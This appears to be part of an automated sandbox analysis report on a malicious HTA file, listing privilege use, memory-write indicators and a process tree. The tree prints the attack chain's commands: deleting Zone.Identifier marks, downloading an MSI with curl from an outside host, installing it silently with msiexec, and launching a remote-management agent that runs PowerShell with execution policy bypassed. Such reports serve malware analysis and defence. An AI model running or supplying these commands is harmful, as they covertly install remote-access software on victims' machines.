Token: SeIncreaseQuotaPrivilege	5996	msiexec.exe
Token: SeMachineAccountPrivilege	5996	msiexec.exe
Token: SeTcbPrivilege	5996	msiexec.exe
Token: SeSecurityPrivilege	5996	msiexec.exe
Token: SeTakeOwnershipPrivilege	5996	msiexec.exe
Token: SeLoadDriverPrivilege	5996	msiexec.exe
Token: SeSystemProfilePrivilege	5996	msiexec.exe
Token: SeSystemtimePrivilege	5996	msiexec.exe
Token: SeProfSingleProcessPrivilege	5996	msiexec.exe
Token: SeIncBasePriorityPrivilege	5996	msiexec.exe
Token: SeCreatePagefilePrivilege	5996	msiexec.exe
Token: SeCreatePermanentPrivilege	5996	msiexec.exe
Token: SeBackupPrivilege	5996	msiexec.exe
Token: SeRestorePrivilege	5996	msiexec.exe
Token: SeShutdownPrivilege	5996	msiexec.exe
Token: SeDebugPrivilege	5996	msiexec.exe
Token: SeAuditPrivilege	5996	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5996	msiexec.exe
Token: SeChangeNotifyPrivilege	5996	msiexec.exe
Token: SeRemoteShutdownPrivilege	5996	msiexec.exe
Token: SeUndockPrivilege	5996	msiexec.exe
Token: SeSyncAgentPrivilege	5996	msiexec.exe
Token: SeEnableDelegationPrivilege	5996	msiexec.exe
Token: SeManageVolumePrivilege	5996	msiexec.exe
Token: SeImpersonatePrivilege	5996	msiexec.exe
Token: SeCreateGlobalPrivilege	5996	msiexec.exe
Token: SeRestorePrivilege	5308	msiexec.exe
Token: SeTakeOwnershipPrivilege	5308	msiexec.exe
Token: SeRestorePrivilege	5308	msiexec.exe
Token: SeTakeOwnershipPrivilege	5308	msiexec.exe
Token: SeRestorePrivilege	5308	msiexec.exe
Token: SeTakeOwnershipPrivilege	5308	msiexec.exe
Token: SeRestorePrivilege	5308	msiexec.exe
Token: SeTakeOwnershipPrivilege	5308	msiexec.exe
Token: SeRestorePrivilege	5308	msiexec.exe
Token: SeTakeOwnershipPrivilege	5308	msiexec.exe
Token: SeRestorePrivilege	5308	msiexec.exe
Token: SeTakeOwnershipPrivilege	5308	msiexec.exe
Token: SeShutdownPrivilege	6000	MsiExec.exe
Token: SeRestorePrivilege	5308	msiexec.exe
Token: SeTakeOwnershipPrivilege	5308	msiexec.exe
Token: SeRestorePrivilege	5308	msiexec.exe
Token: SeTakeOwnershipPrivilege	5308	msiexec.exe
Token: SeDebugPrivilege	2540	powershell.exe
Token: SeBackupPrivilege	108	action1_agent.exe
Token: SeBackupPrivilege	108	action1_agent.exe
Token: SeRestorePrivilege	5308	msiexec.exe
Token: SeTakeOwnershipPrivilege	5308	msiexec.exe
Token: SeRestorePrivilege	5308	msiexec.exe
Token: SeTakeOwnershipPrivilege	5308	msiexec.exe
Token: SeRestorePrivilege	5308	msiexec.exe
Token: SeTakeOwnershipPrivilege	5308	msiexec.exe
Token: SeRestorePrivilege	5308	msiexec.exe
Token: SeTakeOwnershipPrivilege	5308	msiexec.exe
Token: SeRestorePrivilege	5308	msiexec.exe
Token: SeTakeOwnershipPrivilege	5308	msiexec.exe
Token: SeRestorePrivilege	5308	msiexec.exe
Token: SeTakeOwnershipPrivilege	5308	msiexec.exe

Suspicious use of FindShellTrayWindow 9 IoCs

pid	Process
4752	msedge.exe
4752	msedge.exe
4752	msedge.exe
4752	msedge.exe
4752	msedge.exe
4752	msedge.exe
4752	msedge.exe
4752	msedge.exe
4752	msedge.exe

Suspicious use of SetWindowsHookEx 4 IoCs

pid	Process
5996	msiexec.exe
5308	msiexec.exe
6004	MsiExec.exe
6000	MsiExec.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 4052 wrote to memory of 4828	4052	mshta.exe	89
PID 4828 wrote to memory of 5516	4828	cmd.exe	91
PID 5516 wrote to memory of 1040	5516	net.exe	92
PID 4052 wrote to memory of 3228	4052	mshta.exe	93
PID 4052 wrote to memory of 4572	4052	mshta.exe	95
PID 4572 wrote to memory of 252	4572	cmd.exe	97
PID 4052 wrote to memory of 4752	4052	mshta.exe	98
PID 4052 wrote to memory of 3852	4052	mshta.exe	99
PID 3852 wrote to memory of 3136	3852	cmd.exe	101
PID 4752 wrote to memory of 1868	4752	msedge.exe	102
PID 4752 wrote to memory of 4852	4752	msedge.exe	103
PID 4752 wrote to memory of 4040	4752	msedge.exe	104
PID 4752 wrote to memory of 4852	4752	msedge.exe	103
PID 4752 wrote to memory of 4852	4752	msedge.exe	103
PID 4752 wrote to memory of 4360	4752	msedge.exe	105
PID 4752 wrote to memory of 4360	4752	msedge.exe	105
PID 4752 wrote to memory of 3164	4752	msedge.exe	107
PID 4752 wrote to memory of 4400	4752	msedge.exe	108
PID 4752 wrote to memory of 3164	4752	msedge.exe	107
PID 4752 wrote to memory of 3164	4752	msedge.exe	107
PID 4752 wrote to memory of 4400	4752	msedge.exe	108
PID 4752 wrote to memory of 4400	4752	msedge.exe	108
PID 4752 wrote to memory of 1332	4752	msedge.exe	109
PID 4752 wrote to memory of 1332	4752	msedge.exe	109
PID 4752 wrote to memory of 1332	4752	msedge.exe	109
PID 4752 wrote to memory of 1324	4752	msedge.exe	110
PID 4752 wrote to memory of 1324	4752	msedge.exe	110
PID 4752 wrote to memory of 1324	4752	msedge.exe	110
PID 4752 wrote to memory of 5968	4752	msedge.exe	133
PID 4752 wrote to memory of 5968	4752	msedge.exe	133
PID 4752 wrote to memory of 5032	4752	msedge.exe	113
PID 4752 wrote to memory of 4108	4752	msedge.exe	114
PID 4752 wrote to memory of 5032	4752	msedge.exe	113
PID 4752 wrote to memory of 4108	4752	msedge.exe	114
PID 4752 wrote to memory of 3584	4752	msedge.exe	115
PID 4752 wrote to memory of 3584	4752	msedge.exe	115
PID 4752 wrote to memory of 1464	4752	msedge.exe	116
PID 4752 wrote to memory of 1464	4752	msedge.exe	116
PID 4752 wrote to memory of 1464	4752	msedge.exe	116
PID 4752 wrote to memory of 4520	4752	msedge.exe	117
PID 4052 wrote to memory of 3388	4052	mshta.exe	118
PID 4752 wrote to memory of 2324	4752	msedge.exe	121
PID 4052 wrote to memory of 1164	4052	mshta.exe	153
PID 4052 wrote to memory of 4088	4052	mshta.exe	124
PID 4088 wrote to memory of 4824	4088	cmd.exe	127
PID 4752 wrote to memory of 1196	4752	msedge.exe	129
PID 4752 wrote to memory of 1196	4752	msedge.exe	129
PID 4752 wrote to memory of 1892	4752	msedge.exe	130
PID 4752 wrote to memory of 1892	4752	msedge.exe	130
PID 4752 wrote to memory of 1588	4752	msedge.exe	131
PID 4752 wrote to memory of 1588	4752	msedge.exe	131
PID 4752 wrote to memory of 5968	4752	msedge.exe	133
PID 4752 wrote to memory of 5968	4752	msedge.exe	133
PID 4052 wrote to memory of 5996	4052	mshta.exe	199
PID 5308 wrote to memory of 6004	5308	msiexec.exe	136
PID 5308 wrote to memory of 6000	5308	msiexec.exe	137
PID 108 wrote to memory of 2540	108	action1_agent.exe	139
PID 108 wrote to memory of 4284	108	action1_agent.exe	142
PID 4284 wrote to memory of 4696	4284	powershell.exe	201
PID 108 wrote to memory of 3272	108	action1_agent.exe	149

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	43	curl/8.8.0

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\receipts.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4052
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net session >nul 2>&1
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4828
- - C:\Windows\SysWOW64\net.exe
    net session
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5516
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      System Location Discovery: System Language Discovery
      PID:1040
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del /f /q "C:\Users\Admin\AppData\Local\Temp\receipts.hta:Zone.Identifier"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3228
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping -n 3 127.0.0.1 >nul
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4572
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:252
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://nh-livid.vercel.app/payment_sli
  2⤵
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:4752
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x314,0x7ffb0765c188,0x7ffb0765c194,0x7ffb0765c1a0
    3⤵
    PID:1868
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1692,i,4514541052043375648,9842599845900004379,262144 --field-trial-handle=2296,i,7878314849130097146,16001862809335005802,262144 --variations-seed-version --mojo-platform-channel-handle=2292 /prefetch:2
    3⤵
    PID:4852
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1884,i,1655724751530762201,2288093944026431100,524288 --field-trial-handle=2296,i,7878314849130097146,16001862809335005802,262144 --variations-seed-version --mojo-platform-channel-handle=2332 /prefetch:11
    3⤵
    - System Time Discovery
    PID:4040
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2476,i,12520314510007875830,4425119729290339322,524288 --field-trial-handle=2296,i,7878314849130097146,16001862809335005802,262144 --variations-seed-version --mojo-platform-channel-handle=3260 /prefetch:13
    3⤵
    PID:4360
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3544,i,14243568277757853874,9559934643382126211,2097152 --field-trial-handle=2296,i,7878314849130097146,16001862809335005802,262144 --variations-seed-version --mojo-platform-channel-handle=3620 /prefetch:1
    3⤵
    PID:3164
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3548,i,8817916741690721376,9348901739437011249,2097152 --field-trial-handle=2296,i,7878314849130097146,16001862809335005802,262144 --variations-seed-version --mojo-platform-channel-handle=3624 /prefetch:1
    3⤵
    PID:4400
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4336,i,6915856142028024386,17620769049137166096,2097152 --field-trial-handle=2296,i,7878314849130097146,16001862809335005802,262144 --variations-seed-version --mojo-platform-channel-handle=3536 /prefetch:9
    3⤵
    PID:1332
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4324,i,2473541172549062667,12413405081491585023,2097152 --field-trial-handle=2296,i,7878314849130097146,16001862809335005802,262144 --variations-seed-version --mojo-platform-channel-handle=4472 /prefetch:1
    3⤵
    PID:1324
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3760,i,15121977670408002254,11173215132394192693,524288 --field-trial-handle=2296,i,7878314849130097146,16001862809335005802,262144 --variations-seed-version --mojo-platform-channel-handle=3664 /prefetch:14
    3⤵
    PID:5968
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5364,i,12789341680567587471,10050265486536946028,524288 --field-trial-handle=2296,i,7878314849130097146,16001862809335005802,262144 --variations-seed-version --mojo-platform-channel-handle=5532 /prefetch:14
    3⤵
    PID:5032
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5344,i,12824004875014788181,675859063658445066,524288 --field-trial-handle=2296,i,7878314849130097146,16001862809335005802,262144 --variations-seed-version --mojo-platform-channel-handle=5372 /prefetch:14
    3⤵
    PID:4108
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5940,i,9620089023832248495,14712755437968283965,524288 --field-trial-handle=2296,i,7878314849130097146,16001862809335005802,262144 --variations-seed-version --mojo-platform-channel-handle=5488 /prefetch:14
    3⤵
    PID:3584
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=5948,i,16289607578795727262,6009993520114232646,2097152 --field-trial-handle=2296,i,7878314849130097146,16001862809335005802,262144 --variations-seed-version --mojo-platform-channel-handle=6004 /prefetch:1
    3⤵
    PID:1464
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6276,i,1688585675985793029,5427653803452150636,524288 --field-trial-handle=2296,i,7878314849130097146,16001862809335005802,262144 --variations-seed-version --mojo-platform-channel-handle=6288 /prefetch:14
    3⤵
    PID:4520
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6292,i,14885592230922412158,5761733565996515058,524288 --field-trial-handle=2296,i,7878314849130097146,16001862809335005802,262144 --variations-seed-version --mojo-platform-channel-handle=6748 /prefetch:14
    3⤵
    PID:5728
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6292,i,14885592230922412158,5761733565996515058,524288 --field-trial-handle=2296,i,7878314849130097146,16001862809335005802,262144 --variations-seed-version --mojo-platform-channel-handle=6748 /prefetch:14
    3⤵
    PID:2324
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7164,i,8591554510523568448,17183329730075063411,524288 --field-trial-handle=2296,i,7878314849130097146,16001862809335005802,262144 --variations-seed-version --mojo-platform-channel-handle=7180 /prefetch:14
    3⤵
    PID:1196
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7388,i,17364779989093274955,589277944886034892,524288 --field-trial-handle=2296,i,7878314849130097146,16001862809335005802,262144 --variations-seed-version --mojo-platform-channel-handle=7372 /prefetch:14
    3⤵
    PID:1892
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7060,i,14205171913245129057,15889496590724737380,524288 --field-trial-handle=2296,i,7878314849130097146,16001862809335005802,262144 --variations-seed-version --mojo-platform-channel-handle=7040 /prefetch:14
    3⤵
    PID:1588
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=7320,i,16359151544549790988,12615860026266110538,524288 --field-trial-handle=2296,i,7878314849130097146,16001862809335005802,262144 --variations-seed-version --mojo-platform-channel-handle=7352 /prefetch:14
    3⤵
    PID:5968
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3652,i,2033594287855391253,11954726827176677453,524288 --field-trial-handle=2296,i,7878314849130097146,16001862809335005802,262144 --variations-seed-version --mojo-platform-channel-handle=6816 /prefetch:14
    3⤵
    PID:52
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6292,i,9220125252838598797,3810256866839201740,524288 --field-trial-handle=2296,i,7878314849130097146,16001862809335005802,262144 --variations-seed-version --mojo-platform-channel-handle=4732 /prefetch:14
    3⤵
    PID:1164
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6308,i,11420113108934752447,17692248642360350529,524288 --field-trial-handle=2296,i,7878314849130097146,16001862809335005802,262144 --variations-seed-version --mojo-platform-channel-handle=4336 /prefetch:14
    3⤵
    PID:256
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6092,i,997429026228486889,432202772626548918,524288 --field-trial-handle=2296,i,7878314849130097146,16001862809335005802,262144 --variations-seed-version --mojo-platform-channel-handle=5616 /prefetch:14
    3⤵
    PID:2608
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6044,i,11647803881646571631,16467061130205584170,524288 --field-trial-handle=2296,i,7878314849130097146,16001862809335005802,262144 --variations-seed-version --mojo-platform-channel-handle=6892 /prefetch:14
    3⤵
    PID:5196
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6684,i,1849216515530581718,8962068005341876772,524288 --field-trial-handle=2296,i,7878314849130097146,16001862809335005802,262144 --variations-seed-version --mojo-platform-channel-handle=5532 /prefetch:14
    3⤵
    PID:1560
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=3712,i,17094457887744142135,3579798895006366909,262144 --field-trial-handle=2296,i,7878314849130097146,16001862809335005802,262144 --variations-seed-version --mojo-platform-channel-handle=6916 /prefetch:10
    3⤵
    PID:520
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5600,i,14528873383017665548,11200293728348541967,524288 --field-trial-handle=2296,i,7878314849130097146,16001862809335005802,262144 --variations-seed-version --mojo-platform-channel-handle=5500 /prefetch:14
    3⤵
    PID:4812
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping -n 4 127.0.0.1 >nul
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:3852
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 4 127.0.0.1
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3136
- C:\Windows\SysWOW64\curl.exe
  "C:\Windows\System32\curl.exe" --silent --location --fail --output "C:\Users\Admin\AppData\Local\Temp\action1.msi" "https://nh-livid.vercel.app/action1.msi"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3388
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c del /f /q "C:\Users\Admin\AppData\Local\Temp\action1.msi:Zone.Identifier"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1164
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping -n 3 127.0.0.1 >nul
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:4088
- - C:\Windows\SysWOW64\PING.EXE
    ping -n 3 127.0.0.1
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4824
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\System32\msiexec.exe" /package "C:\Users\Admin\AppData\Local\Temp\action1.msi" /quiet /norestart
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:5996

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3240

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:1524

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:4532

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5308
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 2FAEBAB965E79650A69A5BC7FD9E4CB2
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:6004
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 1F59BA71C805E7AC3CB5F87A875AE1D4 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:6000

C:\Windows\Action1\action1_agent.exe
C:\Windows\Action1\action1_agent.exe service
1⤵
- Executes dropped EXE
- Drops file in Windows directory
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:108
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -Command "$ExecutionContext.SessionState.LanguageMode"
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Command and Scripting Interpreter: PowerShell
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2540
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NonInteractive -NoProfile -ExecutionPolicy Bypass -File "C:\Windows\Action1\scripts\DataSource_1008.ps1"
